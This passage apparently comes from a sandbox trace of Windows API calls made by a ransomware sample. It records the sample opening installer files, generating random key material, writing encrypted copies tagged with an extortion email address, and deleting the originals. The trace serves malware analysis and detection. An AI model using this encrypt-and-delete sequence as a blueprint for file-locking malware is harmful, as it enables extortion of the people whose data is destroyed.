dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.652] GetFileType (hFile=0x39c) returned 0x1 [0113.652] GetCurrentThreadId () returned 0x9b0 [0113.652] GetLastError () returned 0x0 [0113.652] GetFileType (hFile=0x39c) returned 0x1 [0113.652] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.652] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.652] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.652] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.652] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.652] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.652] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.653] GetCurrentThreadId () returned 0x9b0 [0113.653] GetLastError () returned 0x0 [0113.653] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\setup.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.653] GetFileType (hFile=0x3ac) returned 0x1 [0113.653] GetCurrentThreadId () returned 0x9b0 [0113.653] GetLastError () returned 0x0 [0113.653] GetFileType (hFile=0x3ac) returned 0x1 [0113.653] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.653] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.654] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.654] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.654] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.654] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.654] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.654] GetCurrentThreadId () returned 0x9b0 [0113.654] GetLastError () returned 0x0 [0113.654] GetCurrentThreadId () returned 0x9b0 [0113.654] GetLastError () returned 0x0 [0113.654] GetCurrentThreadId () returned 0x9b0 [0113.654] GetLastError () returned 0x0 [0113.656] GetCurrentThreadId () returned 0x9b0 [0113.656] GetLastError () returned 0x0 [0113.657] GetCurrentThreadId () returned 0x9b0 [0113.657] GetCurrentThreadId () returned 0x9b0 [0113.657] GetLastError () returned 0x0 [0113.661] GetCurrentThreadId () returned 0x9b0 [0113.661] GetLastError () returned 0x0 [0113.661] GetCurrentThreadId () returned 0x9b0 [0113.661] GetLastError () returned 0x0 [0113.661] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x315d) returned 0x36f8548 [0113.662] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x3165) returned 0x36f8548 [0113.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4718 [0113.662] GetCurrentThreadId () returned 0x9b0 [0113.662] GetCurrentThreadId () returned 0x9b0 [0113.662] GetLastError () returned 0x0 [0113.662] GetCurrentThreadId () returned 0x9b0 [0113.662] GetLastError () returned 0x0 [0113.662] GetCurrentThreadId () returned 0x9b0 [0113.663] GetLastError () returned 0x0 [0113.663] CloseHandle (hObject=0x3ac) returned 1 [0113.663] GetCurrentThreadId () returned 0x9b0 [0113.663] GetLastError () returned 0x0 [0113.663] CloseHandle (hObject=0x39c) returned 1 [0113.663] GetCurrentThreadId () returned 0x9b0 [0113.663] GetLastError () returned 0x0 [0113.663] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0113.665] GetLastError () returned 0x0 [0113.665] GetCurrentThreadId () returned 0x9b0 [0113.665] GetLastError () returned 0x0 [0113.665] GetCurrentThreadId () returned 0x9b0 [0113.665] GetLastError () returned 0x0 [0113.665] GetLastError () returned 0x0 [0113.665] GetLastError () returned 0x0 [0113.665] GetLastError () returned 0x0 [0113.665] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupEngine.dll", lpFilePart=0x9bada4*="SetupEngine.dll") returned 0x25 [0113.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0113.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0113.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0113.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0113.666] GetCurrentThreadId () returned 0x9b0 [0113.666] GetLastError () returned 0x0 [0113.666] GetLastError () returned 0x0 [0113.666] GetLastError () returned 0x0 [0113.666] GetLastError () returned 0x0 [0113.666] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUi.dll", lpFilePart=0x9bada4*="SetupUi.dll") returned 0x21 [0113.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0113.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0113.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0113.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0113.667] GetCurrentThreadId () returned 0x9b0 [0113.667] GetLastError () returned 0x0 [0113.667] GetLastError () returned 0x0 [0113.667] GetLastError () returned 0x0 [0113.667] GetLastError () returned 0x0 [0113.667] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUi.xsd", lpFilePart=0x9bada4*="SetupUi.xsd") returned 0x21 [0113.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0113.667] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0113.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0113.667] GetCurrentThreadId () returned 0x9b0 [0113.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0113.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce58 [0113.668] GetLastError () returned 0x0 [0113.668] GetLastError () returned 0x0 [0113.668] GetLastError () returned 0x0 [0113.668] GetLastError () returned 0x0 [0113.668] GetCurrentThreadId () returned 0x9b0 [0113.668] GetLastError () returned 0x0 [0113.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce58 | out: hHeap=0x2ad0000) returned 1 [0113.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc28 [0113.668] GetLastError () returned 0x0 [0113.669] GetLastError () returned 0x0 [0113.669] GetLastError () returned 0x0 [0113.669] GetLastError () returned 0x0 [0113.669] GetCurrentThreadId () returned 0x9b0 [0113.669] GetLastError () returned 0x0 [0113.669] GetCurrentThreadId () returned 0x9b0 [0113.669] GetLastError () returned 0x0 [0113.669] GetLastError () returned 0x0 [0113.669] GetLastError () returned 0x0 [0113.669] GetLastError () returned 0x0 [0113.669] GetCurrentThreadId () returned 0x9b0 [0113.669] GetLastError () returned 0x0 [0113.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc28 | out: hHeap=0x2ad0000) returned 1 [0113.670] GetLastError () returned 0x0 [0113.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0113.670] GetLastError () returned 0x0 [0113.670] GetLastError () returned 0x0 [0113.670] GetLastError () returned 0x0 [0113.670] GetCurrentThreadId () returned 0x9b0 [0113.670] GetLastError () returned 0x0 [0113.670] GetLastError () returned 0x0 [0113.670] GetLastError () returned 0x0 [0113.670] GetLastError () returned 0x0 [0113.670] GetLastError () returned 0x0 [0113.671] GetCurrentThreadId () returned 0x9b0 [0113.671] GetLastError () returned 0x0 [0113.671] GetCurrentThreadId () returned 0x9b0 [0113.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0113.671] GetLastError () returned 0x0 [0113.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0113.671] GetLastError () returned 0x0 [0113.671] GetLastError () returned 0x0 [0113.671] GetLastError () returned 0x0 [0113.671] GetCurrentThreadId () returned 0x9b0 [0113.671] GetLastError () returned 0x0 [0113.671] GetLastError () returned 0x0 [0113.672] GetLastError () returned 0x0 [0113.672] GetLastError () returned 0x0 [0113.672] GetLastError () returned 0x0 [0113.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.672] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8)) returned 1 [0113.672] GetLastError () returned 0x0 [0113.672] GetCurrentThreadId () returned 0x9b0 [0113.672] GetLastError () returned 0x0 [0113.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0113.673] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662ebc | out: pbBuffer=0x3662ebc) returned 1 [0113.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0113.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0113.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0113.673] GetCurrentThreadId () returned 0x9b0 [0113.673] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf70 [0113.673] GetLastError () returned 0x0 [0113.673] GetLastError () returned 0x0 [0113.673] GetLastError () returned 0x0 [0113.673] GetLastError () returned 0x0 [0113.673] GetCurrentThreadId () returned 0x9b0 [0113.674] GetLastError () returned 0x0 [0113.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf70 | out: hHeap=0x2ad0000) returned 1 [0113.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc50 [0113.674] GetCurrentThreadId () returned 0x9b0 [0113.674] GetLastError () returned 0x0 [0113.674] GetLastError () returned 0x0 [0113.674] GetLastError () returned 0x0 [0113.674] GetLastError () returned 0x0 [0113.674] GetCurrentThreadId () returned 0x9b0 [0113.674] GetLastError () returned 0x0 [0113.674] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc50 | out: hHeap=0x2ad0000) returned 1 [0113.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48f8 [0113.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0113.675] GetLastError () returned 0x0 [0113.675] GetLastError () returned 0x0 [0113.675] GetLastError () returned 0x0 [0113.675] GetLastError () returned 0x0 [0113.675] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0113.675] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ab4728 [0113.675] GetLastError () returned 0x0 [0113.675] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.675] GetFileType (hFile=0x39c) returned 0x1 [0113.676] GetLastError () returned 0x0 [0113.676] GetCurrentThreadId () returned 0x9b0 [0113.676] GetLastError () returned 0x0 [0113.676] GetFileType (hFile=0x39c) returned 0x1 [0113.676] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.676] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.676] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.676] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.676] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.676] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.676] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.676] GetLastError () returned 0x0 [0113.676] GetCurrentThreadId () returned 0x9b0 [0113.677] GetLastError () returned 0x0 [0113.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0113.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0113.677] GetLastError () returned 0x0 [0113.677] GetLastError () returned 0x0 [0113.677] GetLastError () returned 0x0 [0113.677] GetLastError () returned 0x0 [0113.677] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0113.677] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ab4728 [0113.677] GetLastError () returned 0x0 [0113.677] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.678] GetFileType (hFile=0x3ac) returned 0x1 [0113.678] GetLastError () returned 0x0 [0113.678] GetCurrentThreadId () returned 0x9b0 [0113.678] GetLastError () returned 0x0 [0113.678] GetFileType (hFile=0x3ac) returned 0x1 [0113.678] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.678] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.678] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.678] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.678] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.679] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.679] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.679] GetLastError () returned 0x0 [0113.679] GetCurrentThreadId () returned 0x9b0 [0113.679] GetLastError () returned 0x0 [0113.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0113.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0113.679] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0113.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.679] GetLastError () returned 0x0 [0113.679] GetLastError () returned 0x0 [0113.679] GetCurrentThreadId () returned 0x9b0 [0113.679] GetLastError () returned 0x0 [0113.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0113.680] GetLastError () returned 0x0 [0113.680] GetLastError () returned 0x0 [0113.680] GetCurrentThreadId () returned 0x9b0 [0113.680] GetLastError () returned 0x0 [0113.680] GetLastError () returned 0x0 [0113.682] GetLastError () returned 0x0 [0113.682] GetCurrentThreadId () returned 0x9b0 [0113.682] GetLastError () returned 0x0 [0113.682] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x75bd) returned 0x35c5908 [0113.682] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x75c5) returned 0x35c5908 [0113.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4728 [0113.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48f8 | out: hHeap=0x2ad0000) returned 1 [0113.682] GetCurrentThreadId () returned 0x9b0 [0113.682] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x75c8) returned 0x35cced8 [0113.683] GetLastError () returned 0x0 [0113.683] GetLastError () returned 0x0 [0113.683] GetLastError () returned 0x0 [0113.683] GetLastError () returned 0x0 [0113.683] GetCurrentThreadId () returned 0x9b0 [0113.683] GetLastError () returned 0x0 [0113.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35cced8 | out: hHeap=0x2ad0000) returned 1 [0113.683] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0113.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0113.683] GetLastError () returned 0x0 [0113.685] GetLastError () returned 0x0 [0113.685] GetCurrentThreadId () returned 0x9b0 [0113.685] GetLastError () returned 0x0 [0113.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0113.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.685] GetLastError () returned 0x0 [0113.685] GetLastError () returned 0x0 [0113.685] GetCurrentThreadId () returned 0x9b0 [0113.685] GetLastError () returned 0x0 [0113.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.686] GetLastError () returned 0x0 [0113.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.686] CloseHandle (hObject=0x3ac) returned 1 [0113.686] GetLastError () returned 0x0 [0113.686] GetCurrentThreadId () returned 0x9b0 [0113.686] GetLastError () returned 0x0 [0113.686] GetLastError () returned 0x0 [0113.686] CloseHandle (hObject=0x39c) returned 1 [0113.687] GetLastError () returned 0x0 [0113.687] GetCurrentThreadId () returned 0x9b0 [0113.687] GetLastError () returned 0x0 [0113.687] GetLastError () returned 0x0 [0113.687] GetLastError () returned 0x0 [0113.687] GetLastError () returned 0x0 [0113.687] GetLastError () returned 0x0 [0113.687] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0113.689] GetLastError () returned 0x0 [0113.689] GetCurrentThreadId () returned 0x9b0 [0113.689] GetLastError () returned 0x0 [0113.689] GetCurrentThreadId () returned 0x9b0 [0113.689] GetLastError () returned 0x0 [0113.689] GetLastError () returned 0x0 [0113.689] GetLastError () returned 0x0 [0113.690] GetLastError () returned 0x0 [0113.690] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\SetupUtility.exe", lpFilePart=0x9bada4*="SetupUtility.exe") returned 0x26 [0113.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0113.690] GetCurrentThreadId () returned 0x9b0 [0113.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0113.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0113.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0113.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc50 [0113.690] GetLastError () returned 0x0 [0113.690] GetLastError () returned 0x0 [0113.690] GetLastError () returned 0x0 [0113.691] GetLastError () returned 0x0 [0113.691] GetCurrentThreadId () returned 0x9b0 [0113.691] GetLastError () returned 0x0 [0113.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc50 | out: hHeap=0x2ad0000) returned 1 [0113.691] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382d010 [0113.691] GetCurrentThreadId () returned 0x9b0 [0113.691] GetLastError () returned 0x0 [0113.691] GetLastError () returned 0x0 [0113.691] GetLastError () returned 0x0 [0113.691] GetLastError () returned 0x0 [0113.691] GetCurrentThreadId () returned 0x9b0 [0113.691] GetLastError () returned 0x0 [0113.691] GetLastError () returned 0x0 [0113.692] GetLastError () returned 0x0 [0113.692] GetLastError () returned 0x0 [0113.692] GetLastError () returned 0x0 [0113.692] GetCurrentThreadId () returned 0x9b0 [0113.692] GetLastError () returned 0x0 [0113.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382d010 | out: hHeap=0x2ad0000) returned 1 [0113.692] GetLastError () returned 0x0 [0113.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0113.692] GetLastError () returned 0x0 [0113.692] GetLastError () returned 0x0 [0113.692] GetLastError () returned 0x0 [0113.693] GetCurrentThreadId () returned 0x9b0 [0113.693] GetLastError () returned 0x0 [0113.693] GetLastError () returned 0x0 [0113.693] GetLastError () returned 0x0 [0113.693] GetLastError () returned 0x0 [0113.693] GetLastError () returned 0x0 [0113.693] GetCurrentThreadId () returned 0x9b0 [0113.693] GetLastError () returned 0x0 [0113.693] GetCurrentThreadId () returned 0x9b0 [0113.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa28 | out: hHeap=0x2ad0000) returned 1 [0113.693] GetLastError () returned 0x0 [0113.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0113.694] GetLastError () returned 0x0 [0113.694] GetLastError () returned 0x0 [0113.694] GetLastError () returned 0x0 [0113.694] GetCurrentThreadId () returned 0x9b0 [0113.694] GetLastError () returned 0x0 [0113.694] GetLastError () returned 0x0 [0113.694] GetLastError () returned 0x0 [0113.694] GetLastError () returned 0x0 [0113.694] GetLastError () returned 0x0 [0113.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.694] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758)) returned 1 [0113.695] GetLastError () returned 0x0 [0113.695] GetCurrentThreadId () returned 0x9b0 [0113.695] GetLastError () returned 0x0 [0113.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0113.695] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e6c | out: pbBuffer=0x3662e6c) returned 1 [0113.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0113.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0113.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0113.695] GetCurrentThreadId () returned 0x9b0 [0113.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ced0 [0113.695] GetLastError () returned 0x0 [0113.696] GetLastError () returned 0x0 [0113.696] GetLastError () returned 0x0 [0113.696] GetLastError () returned 0x0 [0113.696] GetCurrentThreadId () returned 0x9b0 [0113.696] GetLastError () returned 0x0 [0113.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ced0 | out: hHeap=0x2ad0000) returned 1 [0113.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc50 [0113.696] GetCurrentThreadId () returned 0x9b0 [0113.696] GetLastError () returned 0x0 [0113.696] GetLastError () returned 0x0 [0113.696] GetLastError () returned 0x0 [0113.696] GetLastError () returned 0x0 [0113.697] GetCurrentThreadId () returned 0x9b0 [0113.697] GetLastError () returned 0x0 [0113.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc50 | out: hHeap=0x2ad0000) returned 1 [0113.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab48f8 [0113.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0113.697] 